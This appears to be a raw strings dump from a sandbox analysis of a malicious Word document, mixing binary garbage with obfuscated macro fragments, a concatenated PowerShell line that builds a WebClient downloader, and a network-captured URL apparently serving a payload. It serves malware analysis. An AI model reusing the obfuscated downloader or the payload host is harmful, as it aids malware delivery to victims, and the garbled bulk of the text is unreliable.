|X,$N'rj l"$j'IKsRhnLFlidjrjHtZAUGAzAwNAYGAiBQZAYGAmBAMAgDA5AANAQGAlBAZAMDAiBQNAIDAzAwYAMDA3AgMAcDAmBQOAUDA0AQOAkDA4AAMAkDAhBAZAUDA4AgYAcDAhBQNAkDA5AgMAcDA2AQMAIDAwAwYAkDAlBgZAIGAhBQOAgDAxAgZAEDAxAAZAADAzAwMAcDAIIKSRfsEjc' ~ fC Gb O h qW X,$N' O| T 4Xn { ={[ X,$N' $j'XSmlfzfXlXfqjjAYGAlBQYAEDA3AgYAEGAzAQNAUGAmBwNAADAmBgNAMDAxAgMAMGA5AAMAgDAzFwAPhlpPdQnizo' M 8l A gD 3 X,$N' "2 V w ` X,$N' <$j'TbaQoYjzwCwWnQaMbHVkUYDziEMIdftDA1AgNAgDA5AQZAMDAzAAMAkDA3AgNAMDAwAQMAADAmBgNAIGA2AgMAYDAmBANAUGAxAQOAUGAzAAZAQDAjBQZAIDA0AgYAEGAxAQMAUDA1AgMAMGA5AAMAQDA3AAMAMDAzAQNAYGA5AwYAYDA5AShnd' 9R f# /: ( L X,$N'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
} >$ f X,$N'P <$j'bErUAEDA4AwYAkDA4AwMAUGAmBgZAEGAmBQNAYGAyAQNAYDAjnozMKJflXwiPZzZmiCWKco'd c"x H 0N & Fl< X,$N'fT [}T 8 S h X,$N'x d,$j'bqJPInVmJjhlnsAEDA5AwYAkDA4AQMAYDAxAgMAYGAhBwYAgDAiBgMAADA4AAZAIGA5AgYAMDA4AQNAQDAyAAOAcnMKVkbLLwDC'#ITMv m" !6f v ?> ! X,$N' ~ " X,$N' J$j'YLvhXuaslfHORakdIqETjBQYAIDA2AQNAkDA2AgZAMDAjBwYAUGAjBQYAEDA2AAMAQDA1AAOAADAwAAOAcDA4AgMAQDAzAwYAEDAxAAOAEDAmBAZAkDAhBwYAQDA4AgNAMGAiBQYAIDA1AQMAQDAyAQZAMDA4AANAQDAlBgZAgDAlBgZAMDAkBQNAIDA4AQYAQDA2AAZAIGAxAgZAMDAwAQOAADAmEDaBb'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
�d?m�
Unicode based on Runtime Data (powershell.exe )
�d?m���
Unicode based on Runtime Data (powershell.exe )
����o���������������������������
Ansi based on Runtime Data (WINWORD.EXE )
�����
Ansi based on Runtime Data (powershell.exe )
�������
Ansi based on Runtime Data (WINWORD.EXE )
��������
Ansi based on Runtime Data (powershell.exe )
�������������
Ansi based on Runtime Data (WINWORD.EXE )
��������������?��������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
����������������
Ansi based on Runtime Data (WINWORD.EXE )
������������������������
Ansi based on Runtime Data (powershell.exe )
����������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
�������������������������������������������������
Ansi based on Runtime Data (powershell.exe )
�����������������������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
��������������������������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
������������������������������������������������������������������������
Ansi based on Runtime Data (powershell.exe )
�����������������������������������������������������������������������������������
Ansi based on Runtime Data (WINWORD.EXE )
<div class="sk-circle11 sk-child"></div> <div class="sk-circle12 sk-child"></div> </div> <h1>Accessing http://amor.official.pw/f3sqVF/ securely 15/134
Ansi based on PCAP Processing (network.pcap)
!FRBA"F*$hYd4- Ghbe0)OR>aHePBW*_9pWC}e^U
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
!pThisDocumentThisDocumentzAnsZRGszAnsZRGspOzAhdwWpOzAhdwWNmhnWHTzJVmjNmhnWHTzJVmjbOZoJDmQibOZoJDmQiID="{74304315-0203-418B-8365-05222A24383B}"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
"ZR=jAon &BBvv)9dn@3$9OL)bY]WUstn0j"C`&~itxNd-x]C$r^>=.%kNM(@D^^{SI
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
#BQ!, 8#7"GjCnl0"UswpBHATN!"#0qp~ " $N!!5BUDA D= cGp# ~MA bpNAgDA"$>EG e" $E0AzQeDse2qp JpDNtEDdJFBaHP#NBjShSfj
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
#VQ,/imXO{(]Ec(O&]`Zi!]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$ J'F N P_m! Rt TM= V X Z3] \X,$N'L ` bdH dQ fj h}k j lG nX,$N'^ F'j r t| v8E x, z | ~a X,$N'paQi`XP]++ :#>'vm'x o T4 ih y Z| D X,$N'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$,4<Normal.dotm1Microsoft Office Word@@d@dnkqzhqbX
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$,4<Normal.dotm1Microsoft Office Word@@d@dnkqzhqbX.+,0hp|
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$@)H A$H PJ A<HR JA($HR JAP+[oe+YQjz(>Rm?q 87E(i[OBF jmRon?CVeGk}v@-F6x Jmu+r49I7TW;Pe28lP"tn!gwt}"@)wPRJ"qu
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$j'lGVkkzZDBzfBgYAYGA3AAZAUGAzAgYAEGA1AAMAEGAlBAZAYDA2AQZAYGAxAwYAIDA1AQQjwI'n r tV vD x$ z | ~& X,$N'p } f Y sF sX X,$N' n:$j'aBIjQAwMAkDAzAAMAADAxAQOAYDA3AwNAcDAmBgMAMGA3AgZAMGAlBgMAkDA2AQOAkDAxAwNAMbujwRavfozurzPwhMJwcAfSX' } eS7 y L X,$N' Z4 o | 6RH X,$N' E$j'azCBwjIEEOHOWojYKoWzqoMZPuzAxAQNAADA2AwMAEDAmBwYAIDAlBAMAEDAhBQNAYGAiBgZAUDAwAwNAQDAzAAOAYGA1AQYAUDAiBgYAEDAxAgMAYDA3AAMAQGAxAwMAQDA2AQYAgDAmBAZAgDAiBgMAUDAhBQYAIDAmBQOAYDAhBANAYGA1AwMAIDA3AwYAYDA0AQNAMDAwAAZAITjIM' > Tc} AL ' X,$N' E>b 8 g c X,$N' $j'\IbOjoCdPQppNYqAQYAMGAkBQNAYGAwAgZAEGA2AQOAMGAmBQZAADAhBQOAEDAhBgMAkVMfXVrhLwQDnCKCDjzDKRFjNj' bL E $ X X,$N' ,D 6 w ? fG
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$j'ZGnZiroBtCFswYwIBKIA' : "J h9 V 1F X,$N' >p& l C\ t{ U< X,$N' $j'7iTHULinJSThUjuKlSCamjzozrYW=%KZVWijjDzCwfTczYQcbhSlZlAc' : X y M Q X,$N' {I m T N$v HR X,$N' $j'cBMds% tes&&!%PphDCJJQNjoRFYWN' Y +? W |i W X,$N' =t # OF
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .(
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('n
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-o
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-ob
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-obj
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-obje
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-objec
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object'
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object')
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') S
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') Sy
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') Sys
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') Syst
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') Syste
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.N
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Ne
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.W
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.We
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.Web
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebC
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebCl
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebCli
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClie
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClien
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$N
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NS
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB =
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $n
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $ns
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsa
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsad
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsada
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadas
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.n
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.ne
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.nex
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(1
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(100
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(1000
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000,
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 2
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 28
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 282
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 2821
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 28213
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 282133
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 282133)
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 282133);
Unicode based on Runtime Data (powershell.exe )
$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 282133);$
Unicode based on Runtime Data (powershell.exe )
$YX ___tTs"=N!Jh!'g.Bj!<|@QnK?h}j;0N690J
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
%] Z#K^iau{<Z7Kj~@zsE,Liux5vLYJ:LSO?hS(
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
%PROGRAMFILES%\Microsoft Office\Office14\wwlib.dll
Unicode based on Runtime Data (WINWORD.EXE )
%{IY#>bKtb)=765&&B9qe"+dg#_D9-d8T@UfbBXe*y
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
'-M\e.e{:Tw1Tm>&C)2(5%*)AA-hfetM%D VR+0y4ei1>hPY\6]:p
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
'theme/theme/_rels/themeManager.xml.relsM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
'theme/theme/_rels/themeManager.xml.relsPK]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
( *8 ,X,$N'Ag . 0a 2^= 4, 6H 8 :1 <X,$N' $j'22kDkYzNHcdKUiHwpduGjwlLwoIiGhszUKziJOiFfMjq zYAimaj'4 > @} Bi7 DX F~h H JH LX,$N'6 N P2^ Ro T VY7 X ZM \X,$N'H 4$j'Z(wwXFzzcMonZlqwjhYkaR c/ LEAMJ'\ ^ `Ty bjO da f?8 h j7 lX,$N'^ n p r9f t vn x z1<5 |X,$N'p \$j' h Z
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(6@500279-sNUhnZSnfHjI1789407 - Tan(vqjlXBizrvwnkCBool(RoDXoS2477158wjQDHYjXhYz)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(92662039@tTOjVS6@179544OzNiHMS8091385iUUvsrJLPwjzX=1241351WolCIsMbBvcVhPWMhFMfu@SiDRkI
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
(xitz<]|]}
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)@hN<1xf/qkN&N71P2}g#x#q+rDG{B1m3Hs8$n9]O
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)C7{>Z~/#]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)Q`F5%PROGRAMFILES%\Microsoft Office\Office16\MSWORD.OLBWord
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
)Qp0F%WINDIR%\system32\stdole2.tlbstdole
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
+-mpV:Zg,-CE,!>s\VUN`/BR]}PcYh`sfe:e
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
,,,,g,,c_43bg3_,g,d,4,,,,,g,,,,,gc,,g,,,7,.....
Ansi based on Image Processing (screen_3.png)
,.aic21h:qm@RN;d`o7gK(M&$R(.1r'JT8V"AHu}|$b{P8g/]QAs(#L[PK-![Content_Types].xmlPK-!60_rels/.relsPK-!kytheme/theme/themeManager.xmlPK-!@theme/theme/theme1.xmlPK-!
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
,\O2TNiP/o1<RrLx'SL=egf X@`#KtB./lL_Qk03.co1=S$pcLzddISZhSdA953"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
,GYKNR\;~r85(u6C-R-r"4WTZ},fbZ[ZW>m7~:8K|[V<Sp/SiJLn8lD1SABD%Kg
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
,Jn8;DzJvz>=Yn>nMr*s#yHHft"e)A$r&!%P-HyLfF*=sy|?^i9-k0Qatf2Ow=3]x]A#~
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
,JS%,r 4XXXhX."<w'Z<[w-7+rq[iZCkZ|>t[
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
,k=W!:<V(f{Vv4=uLx>Ou`{;Q*qqU+idh8!4pU;*ti]RJv8t:drN@@lA0T)%RCRs!0fHEAzx
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
,WuY.{#AyU%KvF~4%VCS! 22?h9.GAJ2wVi`b/]\#A>f\^g3;M[DQD=
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
- X,$N' k- le ZF !Y :, X,$N' $j' ZGFbBwmnrPazbKzMQvcADtCo% tGuEJP'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
---------__
Ansi based on Image Processing (screen_0.png)
-8nm'Ora]FHD!aDvS]w5_Di@u|(q]BM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
-HG%R,F`HC8}.!4^o
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
.7600.16385 (win7_rtm.090713-1255)
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
.appendChild(div1); div1.appendChild(div2); div2.appendChild(div3); div1.removeChild(div2); r = genRandString(); if (r.search('asd')) { r.replace('asd', 'bsd'); } } function redirect() { setTimeout(function () { f = document.getElementById('challenge-form'); f.submit(); }, 4000); } function genRandString() { var text = ""; var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; for (var i = 0; i < 5; i++) text += possible.charAt(Math.floor(Math.random() * possible.length)); return text; } (function () { var a = function () { try { return !!window.addEventListener } catch (e) { return !1 } }, b = function (b, c) { a() ? document.addEventListener("DOMContentLoaded", b, c) : document.attachEvent("onreadystatechange", b) }; b(function () { var a = document.getElementById('content').style.display = 'block';
Ansi based on PCAP Processing (network.pcap)
.sk-circle .sk-circle11 {-webkit-transform: rotate(300deg);-ms-transform: rotate(300deg);transform: rotate(300deg); } .sk-circle .sk-circle12 {-webkit-transform: rotate(330deg);-ms-transform: rotate(330deg);transform: rotate(330deg); } .sk-circle .sk-circle2:before {-webkit-animation-delay: -1.1s;animation-delay: -1.1s; } .sk-circle .sk-circle3:before {-webkit-animation-delay: -1s;animation-delay: -1s; } .sk-circle .sk-circle4:before {-webkit-animation-delay: -0.9s;animation-delay: -0.9s; } .sk-circle .sk-circle5:before {-webkit-animation-delay: -0.8s;animation-delay: -0.8s; } .sk-circle .sk-circle6:before {-webkit-animation-delay: -0.7s;animation-delay: -0.7s; } .sk-circle .sk-circle7:before {-webkit-animation-delay: -0.6s;animation-delay: -0.6s; } .sk-circle .sk-circle8:before {-webkit-animation-delay: -0.5s;animation-delay: -0.5s; } .sk-circle .sk-circle9:before {-webkit-animation-delay: -0.4s;animation-delay: -0.4s; } .sk-circle .sk-circle10:before {-webkit-animation-delay: -0.3s;animation-delay: -0.3s; } .sk-circle .sk-circle11:before {-webkit-animation-delay: -0.2s;animation-delay: -0.2s; } .sk-circle .sk-circle12:before {-webkit-animation-delay: -0.1s;animation-delay: -0.1s; } @-webkit-keyframes sk-circleBounceDelay {0%, 80%, 100% {-webkit-transform: scale(0);transform: scal
Ansi based on PCAP Processing (network.pcap)
/ ;l !p | q X,$N' G / "(h $ &
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
/ @GYmLQfEchcFiOBTTdt{d6888hwluzEpOj!"EkoYKjnrXuloRGXiwIs iubTPjB];?ROOq@tlArrAwpPisNmE@ZdUUBl1(
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
/=Q(=PmtOJP-?S"-dMp:R"Xjc)v
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
/n "C:\129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc"
Ansi based on Process Commandline (WINWORD.EXE)
0*Y+R)@J@J %@J %HHRR))@J@J % %HHR)R))=<,{?M3O$OQR*
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
0046}#2.0#0#%WINDIR%\system32\e2.tlb#OLE Automation`ENormalENCrmaQF *,\C
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
06wbPsW[z\@R>.W/K<GVJLr}+M^^aqMF"{
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
0Y$tF!|}N"TK22gl^_2rqJ&H&iBRs c1H-}SV')K`~yTm
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
0zxqYjsQEa%7dckHj9*s=nDwQB \$J7[]TEv{uX4Lt##D#K$lK0fCN
